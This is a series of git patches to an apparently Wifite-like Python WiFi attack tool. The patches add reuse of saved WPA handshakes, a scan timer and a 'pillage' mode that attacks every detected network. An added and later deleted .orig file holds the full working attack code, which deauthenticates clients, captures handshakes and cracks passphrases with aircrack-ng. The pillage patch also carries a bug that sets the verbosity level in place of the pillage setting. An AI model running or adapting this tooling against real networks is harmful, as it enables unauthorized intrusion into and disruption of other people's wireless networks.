From 085213f143067526a5d774af89ee80405ff6a7af Mon Sep 17 00:00:00 2001 From: kimocoder Date: Mon, 26 Feb 2018 13:34:30 +0100 Subject: [PATCH 1/5] Support loading previously captured handshakes --- py/AttackWPA.py | 149 ++++++++++++++----------- py/AttackWPA.py.orig | 260 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 346 insertions(+), 63 deletions(-) create mode 100644 py/AttackWPA.py.orig diff --git a/py/AttackWPA.py b/py/AttackWPA.py index 114b64d..b1ddaaa 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -46,75 +46,80 @@ class AttackWPA(Attack): self.clients = [] - handshake = None + bssid = airodump_target.bssid + essid = airodump_target.essid if airodump_target.essid_known else None + handshake = self.load_handshake(bssid=bssid, essid=essid) - timeout_timer = Timer(Configuration.wpa_attack_timeout) - deauth_timer = Timer(Configuration.wpa_deauth_timeout) + if handshake: + Color.pl('\n\n{+} {G}successfully loaded handshake{W}') + else: + timeout_timer = Timer(Configuration.wpa_attack_timeout) + deauth_timer = Timer(Configuration.wpa_deauth_timeout) - while handshake is None and not timeout_timer.ended(): - step_timer = Timer(1) - Color.clear_entire_line() - Color.pattack("WPA", - airodump_target, - "Handshake capture", - "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) + while handshake is None and not timeout_timer.ended(): + step_timer = Timer(1) + Color.clear_entire_line() + Color.pattack("WPA", + airodump_target, + "Handshake capture", + "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) - # Find .cap file - cap_files = airodump.find_files(endswith='.cap') - if len(cap_files) == 0: - # No cap files yet + # Find .cap file + cap_files = airodump.find_files(endswith='.cap') + if len(cap_files) == 0: + # No cap files yet + time.sleep(step_timer.remaining()) + continue + cap_file = cap_files[0] + + # Copy .cap file to temp for consistency + temp_file = Configuration.temp('handshake.cap.bak') + copy(cap_file, temp_file) + + # Check cap file in temp for Handshake + bssid = airodump_target.bssid + essid = airodump_target.essid if airodump_target.essid_known else None + handshake = Handshake(temp_file, bssid=bssid, essid=essid) + if handshake.has_handshake(): + # We got a handshake + Color.pl('\n\n{+} {G}successfully captured handshake{W}') + break + + # There is no handshake + handshake = None + # Delete copied .cap file in temp to save space + os.remove(temp_file) + + # Look for new clients + airodump_target = self.wait_for_target(airodump) + for client in airodump_target.clients: + if client.station not in self.clients: + Color.clear_entire_line() + Color.pattack("WPA", + airodump_target, + "Handshake capture", + "Discovered new client: {G}%s{W}" % client.station) + Color.pl("") + self.clients.append(client.station) + + # Send deauth to a client or broadcast + if deauth_timer.ended(): + self.deauth(airodump_target) + # Restart timer + deauth_timer = Timer(Configuration.wpa_deauth_timeout) + + # Sleep for at-most 1 second time.sleep(step_timer.remaining()) - continue - cap_file = cap_files[0] + continue # Handshake listen+deauth loop - # Copy .cap file to temp for consistency - temp_file = Configuration.temp('handshake.cap.bak') - copy(cap_file, temp_file) + if not handshake: + # No handshake, attack failed. + Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) + self.success = False + return self.success - # Check cap file in temp for Handshake - bssid = airodump_target.bssid - essid = airodump_target.essid if airodump_target.essid_known else None - handshake = Handshake(temp_file, bssid=bssid, essid=essid) - if handshake.has_handshake(): - # We got a handshake - Color.pl('\n\n{+} {G}successfully captured handshake{W}') - break - - # There is no handshake - handshake = None - # Delete copied .cap file in temp to save space - os.remove(temp_file) - - # Look for new clients - airodump_target = self.wait_for_target(airodump) - for client in airodump_target.clients: - if client.station not in self.clients: - Color.clear_entire_line() - Color.pattack("WPA", - airodump_target, - "Handshake capture", - "Discovered new client: {G}%s{W}" % client.station) - Color.pl("") - self.clients.append(client.station) - - # Send deauth to a client or broadcast - if deauth_timer.ended(): - self.deauth(airodump_target) - # Restart timer - deauth_timer = Timer(Configuration.wpa_deauth_timeout) - - # Sleep for at-most 1 second - time.sleep(step_timer.remaining()) - continue # Handshake listen+deauth loop - - if not handshake: - # No handshake, attack failed. - Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) - self.success = False - return self.success - - # Save copy of handshake to ./hs/ - self.save_handshake(handshake) + # Save copy of handshake to ./hs/ + self.save_handshake(handshake) # Print analysis of handshake file Color.pl('\n{+} analysis of captured handshake file:') @@ -200,6 +205,24 @@ class AttackWPA(Attack): " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1]) return None + def load_handshake(self, bssid, essid): + if not os.path.exists(Configuration.wpa_handshake_dir): + return None + + if essid: + essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid)) + else: + essid_safe = '[a-zA-Z0-9]+' + bssid_safe = re.escape(bssid.replace(':', '-')) + date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}' + get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date)) + + for filename in os.listdir(Configuration.wpa_handshake_dir): + cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename) + if os.path.isfile(cap_filename) and re.match(get_filename, filename): + return Handshake(capfile=cap_filename, bssid=bssid, essid=essid) + + return None def save_handshake(self, handshake): ''' diff --git a/py/AttackWPA.py.orig b/py/AttackWPA.py.orig new file mode 100644 index 0000000..114b64d --- /dev/null +++ b/py/AttackWPA.py.orig @@ -0,0 +1,260 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from Attack import Attack +from Airodump import Airodump +from Aireplay import Aireplay +from Color import Color +from Configuration import Configuration +from Handshake import Handshake +from Process import Process +from CrackResultWPA import CrackResultWPA +from Timer import Timer + +import time +import os +import re +from shutil import copy + +class AttackWPA(Attack): + def __init__(self, target): + super(AttackWPA, self).__init__(target) + self.clients = [] + self.crack_result = None + self.success = False + + def run(self): + ''' + Initiates full WPA hanshake capture attack. + ''' + + # Check if user only wants to run PixieDust attack + if Configuration.pixie_only and self.target.wps: + Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack') + self.success = False + return self.success + + # First, start Airodump process + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wash=True, + output_file_prefix='wpa') as airodump: + + Color.clear_entire_line() + Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") + airodump_target = self.wait_for_target(airodump) + + self.clients = [] + + handshake = None + + timeout_timer = Timer(Configuration.wpa_attack_timeout) + deauth_timer = Timer(Configuration.wpa_deauth_timeout) + + while handshake is None and not timeout_timer.ended(): + step_timer = Timer(1) + Color.clear_entire_line() + Color.pattack("WPA", + airodump_target, + "Handshake capture", + "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) + + # Find .cap file + cap_files = airodump.find_files(endswith='.cap') + if len(cap_files) == 0: + # No cap files yet + time.sleep(step_timer.remaining()) + continue + cap_file = cap_files[0] + + # Copy .cap file to temp for consistency + temp_file = Configuration.temp('handshake.cap.bak') + copy(cap_file, temp_file) + + # Check cap file in temp for Handshake + bssid = airodump_target.bssid + essid = airodump_target.essid if airodump_target.essid_known else None + handshake = Handshake(temp_file, bssid=bssid, essid=essid) + if handshake.has_handshake(): + # We got a handshake + Color.pl('\n\n{+} {G}successfully captured handshake{W}') + break + + # There is no handshake + handshake = None + # Delete copied .cap file in temp to save space + os.remove(temp_file) + + # Look for new clients + airodump_target = self.wait_for_target(airodump) + for client in airodump_target.clients: + if client.station not in self.clients: + Color.clear_entire_line() + Color.pattack("WPA", + airodump_target, + "Handshake capture", + "Discovered new client: {G}%s{W}" % client.station) + Color.pl("") + self.clients.append(client.station) + + # Send deauth to a client or broadcast + if deauth_timer.ended(): + self.deauth(airodump_target) + # Restart timer + deauth_timer = Timer(Configuration.wpa_deauth_timeout) + + # Sleep for at-most 1 second + time.sleep(step_timer.remaining()) + continue # Handshake listen+deauth loop + + if not handshake: + # No handshake, attack failed. + Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) + self.success = False + return self.success + + # Save copy of handshake to ./hs/ + self.save_handshake(handshake) + + # Print analysis of handshake file + Color.pl('\n{+} analysis of captured handshake file:') + handshake.analyze() + + # Try to crack handshake + key = self.crack_handshake(handshake, Configuration.wordlist) + if key is None: + self.success = False + else: + self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key) + self.crack_result.dump() + self.success = True + return self.success + + def crack_handshake(self, handshake, wordlist): + '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' + if wordlist is None: + Color.pl("{!} {O}Not cracking handshake because" + + " wordlist ({R}--dict{O}) is not set") + return None + elif not os.path.exists(wordlist): + Color.pl("{!} {O}Not cracking handshake because" + + " wordlist {R}%s{O} was not found" % wordlist) + return None + + Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" + + " {C}%s{W} wordlist" % os.path.split(wordlist)[-1]) + + key_file = Configuration.temp('wpakey.txt') + command = [ + "aircrack-ng", + "-a", "2", + "-w", wordlist, + "--bssid", handshake.bssid, + "-l", key_file, + handshake.capfile + ] + crack_proc = Process(command) + + # Report progress of cracking + aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s") + aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$") + num_tried = num_total = 0 + percent = num_kps = 0.0 + eta_str = "unknown" + current_key = '' + while crack_proc.poll() is None: + line = crack_proc.pid.stdout.readline() + match_nums = aircrack_nums_re.search(line) + match_keys = aircrack_key_re.search(line) + if match_nums: + num_tried = int(match_nums.group(1)) + num_total = int(match_nums.group(2)) + num_kps = float(match_nums.group(3)) + eta_seconds = (num_total - num_tried) / num_kps + eta_str = Timer.secs_to_str(eta_seconds) + percent = 100.0 * float(num_tried) / float(num_total) + elif match_keys: + current_key = match_keys.group(1) + else: + continue + + status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent + status += " ETA: {C}%s{W}" % eta_str + status += " @ {C}%0.1fkps{W}" % num_kps + #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total) + status += " (current key: {C}%s{W})" % current_key + Color.clear_entire_line() + Color.p(status) + + Color.pl("") + # Check crack result + if os.path.exists(key_file): + with open(key_file, "r") as fid: + key = fid.read().strip() + os.remove(key_file) + + Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key) + return key + else: + Color.pl("{!} {R}Failed to crack handshake:" + + " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1]) + return None + + + def save_handshake(self, handshake): + ''' + Saves a copy of the handshake file to hs/ + Args: + handshake - Instance of Handshake containing bssid, essid, capfile + ''' + # Create handshake dir + if not os.path.exists(Configuration.wpa_handshake_dir): + os.mkdir(Configuration.wpa_handshake_dir) + + # Generate filesystem-safe filename from bssid, essid and date + essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) + bssid_safe = handshake.bssid.replace(':', '-') + date = time.strftime('%Y-%m-%dT%H-%M-%S') + cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) + cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename) + + if Configuration.wpa_strip_handshake: + Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename) + handshake.strip(outfile=cap_filename) + Color.pl('{G}saved{W}') + else: + Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename) + copy(handshake.capfile, cap_filename) + Color.pl('{G}saved{W}') + + # Update handshake to use the stored handshake file for future operations + handshake.capfile = cap_filename + + + def deauth(self, target): + ''' + Sends deauthentication request to broadcast and every client of target. + Args: + target - The Target to deauth, including clients. + ''' + if Configuration.no_deauth: return + + for index, client in enumerate([None] + self.clients): + if client is None: + target_name = "*broadcast*" + else: + target_name = client + Color.clear_entire_line() + Color.pattack("WPA", + target, + "Handshake capture", + "Deauthing {O}%s{W}" % target_name) + Aireplay.deauth(target.bssid, client_mac=client, timeout=2) + +if __name__ == '__main__': + from Target import Target + fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',') + target = Target(fields) + wpa = AttackWPA(target) + wpa.run() + From f4fc57a407b18dee6c9ccfed27becdbfff5bef79 Mon Sep 17 00:00:00 2001 From: kimocoder Date: Mon, 26 Feb 2018 13:45:50 +0100 Subject: [PATCH 2/5] Add scan_time argument --- py/Arguments.py | 6 ++++++ py/Configuration.py | 5 +++++ py/Scanner.py | 10 +++++++--- 3 files changed, 18 insertions(+), 3 deletions(-) diff --git a/py/Arguments.py b/py/Arguments.py index 609d0fe..6560793 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -17,6 +17,12 @@ class Arguments(object): # Global variables glob = parser.add_argument_group('SETTINGS') + glob.add_argument('-s', + action='store', + dest='scan_time', + metavar='[scantime]', + type=int, + help=Color.s('Scan time to (default: {G}ask{W})')) glob.add_argument('-i', action='store', dest='interface', diff --git a/py/Configuration.py b/py/Configuration.py index fc34585..b248e42 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -28,6 +28,8 @@ class Configuration(object): Configuration.verbose = 0 # Verbosity level. + Configuration.scan_time = 0 # Scan time + Configuration.tx_power = 0 # Wifi transmit power (0 is default) Configuration.interface = None Configuration.target_channel = None # User-defined channel to scan @@ -138,6 +140,9 @@ class Configuration(object): if args.target_essid: Configuration.target_essid = args.target_essid Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid) + if args.scan_time: + Configuration.scan_time = args.scan_time + Color.pl('{+} {C}option:{W} scan time {G}%d{W}' % args.scan_time) if args.verbose: Configuration.verbose = args.verbose Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) diff --git a/py/Scanner.py b/py/Scanner.py index 8ecd423..f64baae 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -6,7 +6,7 @@ from Color import Color from Target import Target from Configuration import Configuration -from time import sleep +from time import sleep, time class Scanner(object): ''' Scans wifi networks & provides menu for selecting targets ''' @@ -23,13 +23,15 @@ class Scanner(object): self.targets = [] self.target = None # Specific target (based on ESSID/BSSID) + scan_time = Configuration.scan_time # currently in seconds + Color.pl("") # Loads airodump with interface/channel/etc from Configuration with Airodump() as airodump: try: - # Loop until interrupted (Ctrl+C) + # Loop until interrupted (Ctrl+C) or until scan_time is reached (if scan_time was defined) + start_time = time() while True: - if airodump.pid.poll() is not None: # Airodump process died! raise Exception( @@ -63,6 +65,8 @@ class Scanner(object): outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked]) Color.clear_entire_line() Color.p(outline) + if scan_time > 0 and time() > (start_time + scan_time): + return sleep(1) except KeyboardInterrupt: pass From 6a13d64c75dfc993f4749aeb8c421e7d6d3bbb34 Mon Sep 17 00:00:00 2001 From: kimocoder Date: Mon, 26 Feb 2018 13:50:27 +0100 Subject: [PATCH 3/5] Implememt 'pillage' argument for option to attack all targets --- py/Arguments.py | 5 +++++ py/Configuration.py | 4 ++++ py/Scanner.py | 49 ++++++++++++++++++++++++--------------------- 3 files changed, 35 insertions(+), 23 deletions(-) diff --git a/py/Arguments.py b/py/Arguments.py index 6560793..a6855d0 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -77,6 +77,11 @@ class Arguments(object): metavar="[num]", default=None, help=Color.s('Number of deauth packets to send (default: {G}%d{W})' % Configuration.num_deauths)) + glob.add_argument('-p', + action='store', + dest='pillage', + type=bool, + help=Color.s('Pillage "All" mode to attack everything (default: {G}ask{W})')) # WEP wep = parser.add_argument_group('WEP-RELATED') diff --git a/py/Configuration.py b/py/Configuration.py index b248e42..fc97378 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -29,6 +29,7 @@ class Configuration(object): Configuration.verbose = 0 # Verbosity level. Configuration.scan_time = 0 # Scan time + Configuration.all_targets = False # Run attacks against all targets automatically Configuration.tx_power = 0 # Wifi transmit power (0 is default) Configuration.interface = None @@ -143,6 +144,9 @@ class Configuration(object): if args.scan_time: Configuration.scan_time = args.scan_time Color.pl('{+} {C}option:{W} scan time {G}%d{W}' % args.scan_time) + if args.pillage: + Configuration.verbose = args.pillage + Color.pl('{+} {C}option:{W} pillage {G}%d{W}' % args.verbose) if args.verbose: Configuration.verbose = args.verbose Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) diff --git a/py/Scanner.py b/py/Scanner.py index f64baae..dc0640e 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -157,30 +157,33 @@ class Scanner(object): + " You may need to wait longer," + " or you may have issues with your wifi card") - self.print_targets() - Color.clear_entire_line() - input_str = '{+} select target(s)' - input_str += ' ({G}1-%d{W})' % len(self.targets) - input_str += ' separated by commas, dashes' - input_str += ' or {G}all{W}: ' - - chosen_targets = [] - for choice in raw_input(Color.s(input_str)).split(','): - if choice == 'all': - chosen_targets = self.targets - break - if '-' in choice: - # User selected a range - (lower,upper) = [int(x) - 1 for x in choice.split('-')] - for i in xrange(lower, min(len(self.targets), upper)): - chosen_targets.append(self.targets[i]) - elif choice.isdigit(): - choice = int(choice) - 1 - chosen_targets.append(self.targets[choice]) - else: - pass - return chosen_targets + if not (Configuration.pillage is True): + self.print_targets() + Color.clear_entire_line() + input_str = '{+} select target(s)' + input_str += ' ({G}1-%d{W})' % len(self.targets) + input_str += ' separated by commas, dashes' + input_str += ' or {G}all{W}: ' + chosen_targets = [] + + for choice in raw_input(Color.s(input_str)).split(','): + if choice == 'all': + chosen_targets = self.targets + break + if '-' in choice: + # User selected a range + (lower,upper) = [int(x) - 1 for x in choice.split('-')] + for i in xrange(lower, min(len(self.targets), upper)): + chosen_targets.append(self.targets[i]) + elif choice.isdigit(): + choice = int(choice) - 1 + chosen_targets.append(self.targets[choice]) + else: + pass + return chosen_targets + else: + return self.targets if __name__ == '__main__': # Example displays targets and selects the appropriate one From 6ff2f2b9dca5f5a8f38f9c0fda655d2461ca3db5 Mon Sep 17 00:00:00 2001 From: Christian B Date: Mon, 26 Feb 2018 22:43:58 +0100 Subject: [PATCH 4/5] Cleanup original --- py/AttackWPA.py.orig | 260 ------------------------------------------- 1 file changed, 260 deletions(-) delete mode 100644 py/AttackWPA.py.orig diff --git a/py/AttackWPA.py.orig b/py/AttackWPA.py.orig deleted file mode 100644 index 114b64d..0000000 --- a/py/AttackWPA.py.orig +++ /dev/null @@ -1,260 +0,0 @@ -#!/usr/bin/python2.7 -# -*- coding: utf-8 -*- - -from Attack import Attack -from Airodump import Airodump -from Aireplay import Aireplay -from Color import Color -from Configuration import Configuration -from Handshake import Handshake -from Process import Process -from CrackResultWPA import CrackResultWPA -from Timer import Timer - -import time -import os -import re -from shutil import copy - -class AttackWPA(Attack): - def __init__(self, target): - super(AttackWPA, self).__init__(target) - self.clients = [] - self.crack_result = None - self.success = False - - def run(self): - ''' - Initiates full WPA hanshake capture attack. - ''' - - # Check if user only wants to run PixieDust attack - if Configuration.pixie_only and self.target.wps: - Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack') - self.success = False - return self.success - - # First, start Airodump process - with Airodump(channel=self.target.channel, - target_bssid=self.target.bssid, - skip_wash=True, - output_file_prefix='wpa') as airodump: - - Color.clear_entire_line() - Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") - airodump_target = self.wait_for_target(airodump) - - self.clients = [] - - handshake = None - - timeout_timer = Timer(Configuration.wpa_attack_timeout) - deauth_timer = Timer(Configuration.wpa_deauth_timeout) - - while handshake is None and not timeout_timer.ended(): - step_timer = Timer(1) - Color.clear_entire_line() - Color.pattack("WPA", - airodump_target, - "Handshake capture", - "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) - - # Find .cap file - cap_files = airodump.find_files(endswith='.cap') - if len(cap_files) == 0: - # No cap files yet - time.sleep(step_timer.remaining()) - continue - cap_file = cap_files[0] - - # Copy .cap file to temp for consistency - temp_file = Configuration.temp('handshake.cap.bak') - copy(cap_file, temp_file) - - # Check cap file in temp for Handshake - bssid = airodump_target.bssid - essid = airodump_target.essid if airodump_target.essid_known else None - handshake = Handshake(temp_file, bssid=bssid, essid=essid) - if handshake.has_handshake(): - # We got a handshake - Color.pl('\n\n{+} {G}successfully captured handshake{W}') - break - - # There is no handshake - handshake = None - # Delete copied .cap file in temp to save space - os.remove(temp_file) - - # Look for new clients - airodump_target = self.wait_for_target(airodump) - for client in airodump_target.clients: - if client.station not in self.clients: - Color.clear_entire_line() - Color.pattack("WPA", - airodump_target, - "Handshake capture", - "Discovered new client: {G}%s{W}" % client.station) - Color.pl("") - self.clients.append(client.station) - - # Send deauth to a client or broadcast - if deauth_timer.ended(): - self.deauth(airodump_target) - # Restart timer - deauth_timer = Timer(Configuration.wpa_deauth_timeout) - - # Sleep for at-most 1 second - time.sleep(step_timer.remaining()) - continue # Handshake listen+deauth loop - - if not handshake: - # No handshake, attack failed. - Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) - self.success = False - return self.success - - # Save copy of handshake to ./hs/ - self.save_handshake(handshake) - - # Print analysis of handshake file - Color.pl('\n{+} analysis of captured handshake file:') - handshake.analyze() - - # Try to crack handshake - key = self.crack_handshake(handshake, Configuration.wordlist) - if key is None: - self.success = False - else: - self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key) - self.crack_result.dump() - self.success = True - return self.success - - def crack_handshake(self, handshake, wordlist): - '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' - if wordlist is None: - Color.pl("{!} {O}Not cracking handshake because" + - " wordlist ({R}--dict{O}) is not set") - return None - elif not os.path.exists(wordlist): - Color.pl("{!} {O}Not cracking handshake because" + - " wordlist {R}%s{O} was not found" % wordlist) - return None - - Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" + - " {C}%s{W} wordlist" % os.path.split(wordlist)[-1]) - - key_file = Configuration.temp('wpakey.txt') - command = [ - "aircrack-ng", - "-a", "2", - "-w", wordlist, - "--bssid", handshake.bssid, - "-l", key_file, - handshake.capfile - ] - crack_proc = Process(command) - - # Report progress of cracking - aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s") - aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$") - num_tried = num_total = 0 - percent = num_kps = 0.0 - eta_str = "unknown" - current_key = '' - while crack_proc.poll() is None: - line = crack_proc.pid.stdout.readline() - match_nums = aircrack_nums_re.search(line) - match_keys = aircrack_key_re.search(line) - if match_nums: - num_tried = int(match_nums.group(1)) - num_total = int(match_nums.group(2)) - num_kps = float(match_nums.group(3)) - eta_seconds = (num_total - num_tried) / num_kps - eta_str = Timer.secs_to_str(eta_seconds) - percent = 100.0 * float(num_tried) / float(num_total) - elif match_keys: - current_key = match_keys.group(1) - else: - continue - - status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent - status += " ETA: {C}%s{W}" % eta_str - status += " @ {C}%0.1fkps{W}" % num_kps - #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total) - status += " (current key: {C}%s{W})" % current_key - Color.clear_entire_line() - Color.p(status) - - Color.pl("") - # Check crack result - if os.path.exists(key_file): - with open(key_file, "r") as fid: - key = fid.read().strip() - os.remove(key_file) - - Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key) - return key - else: - Color.pl("{!} {R}Failed to crack handshake:" + - " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1]) - return None - - - def save_handshake(self, handshake): - ''' - Saves a copy of the handshake file to hs/ - Args: - handshake - Instance of Handshake containing bssid, essid, capfile - ''' - # Create handshake dir - if not os.path.exists(Configuration.wpa_handshake_dir): - os.mkdir(Configuration.wpa_handshake_dir) - - # Generate filesystem-safe filename from bssid, essid and date - essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) - bssid_safe = handshake.bssid.replace(':', '-') - date = time.strftime('%Y-%m-%dT%H-%M-%S') - cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) - cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename) - - if Configuration.wpa_strip_handshake: - Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename) - handshake.strip(outfile=cap_filename) - Color.pl('{G}saved{W}') - else: - Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename) - copy(handshake.capfile, cap_filename) - Color.pl('{G}saved{W}') - - # Update handshake to use the stored handshake file for future operations - handshake.capfile = cap_filename - - - def deauth(self, target): - ''' - Sends deauthentication request to broadcast and every client of target. - Args: - target - The Target to deauth, including clients. - ''' - if Configuration.no_deauth: return - - for index, client in enumerate([None] + self.clients): - if client is None: - target_name = "*broadcast*" - else: - target_name = client - Color.clear_entire_line() - Color.pattack("WPA", - target, - "Handshake capture", - "Deauthing {O}%s{W}" % target_name) - Aireplay.deauth(target.bssid, client_mac=client, timeout=2) - -if __name__ == '__main__': - from Target import Target - fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',') - target = Target(fields) - wpa = AttackWPA(target) - wpa.run() - From d6aeb97cfc3c9e75f0d08071208f617bd76f9af3 Mon Sep 17 00:00:00 2001 From: kimocoder Date: Tue, 27 Feb 2018 08:24:22 +0100 Subject: [PATCH 5/5] Minor fixes --- py/Arguments.py | 2 +- py/AttackWPA.py | 1 + py/Configuration.py | 4 ++-- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/py/Arguments.py b/py/Arguments.py index a6855d0..5560620 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -22,7 +22,7 @@ class Arguments(object): dest='scan_time', metavar='[scantime]', type=int, - help=Color.s('Scan time to (default: {G}ask{W})')) + help=Color.s('Seconds to scan before attacking (default: {G}ask{W})')) glob.add_argument('-i', action='store', dest='interface', diff --git a/py/AttackWPA.py b/py/AttackWPA.py index b1ddaaa..be6cddd 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -51,6 +51,7 @@ class AttackWPA(Attack): handshake = self.load_handshake(bssid=bssid, essid=essid) if handshake: + Color.pl('\n\n{+} {G}using existing handshake found at %s{W}' % handshake.capfile) Color.pl('\n\n{+} {G}successfully loaded handshake{W}') else: timeout_timer = Timer(Configuration.wpa_attack_timeout) diff --git a/py/Configuration.py b/py/Configuration.py index fc97378..067ffe7 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -28,7 +28,7 @@ class Configuration(object): Configuration.verbose = 0 # Verbosity level. - Configuration.scan_time = 0 # Scan time + Configuration.scan_time = 0 # Scan time Configuration.all_targets = False # Run attacks against all targets automatically Configuration.tx_power = 0 # Wifi transmit power (0 is default) @@ -69,7 +69,7 @@ class Configuration(object): wordlists = [ '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', - '/usr/share/wordlists/fern-wifi/common.txt' + '/usr/share/fern-wifi-cracker/extras/wordlists/common.txt' ] for wlist in wordlists: if os.path.exists(wlist):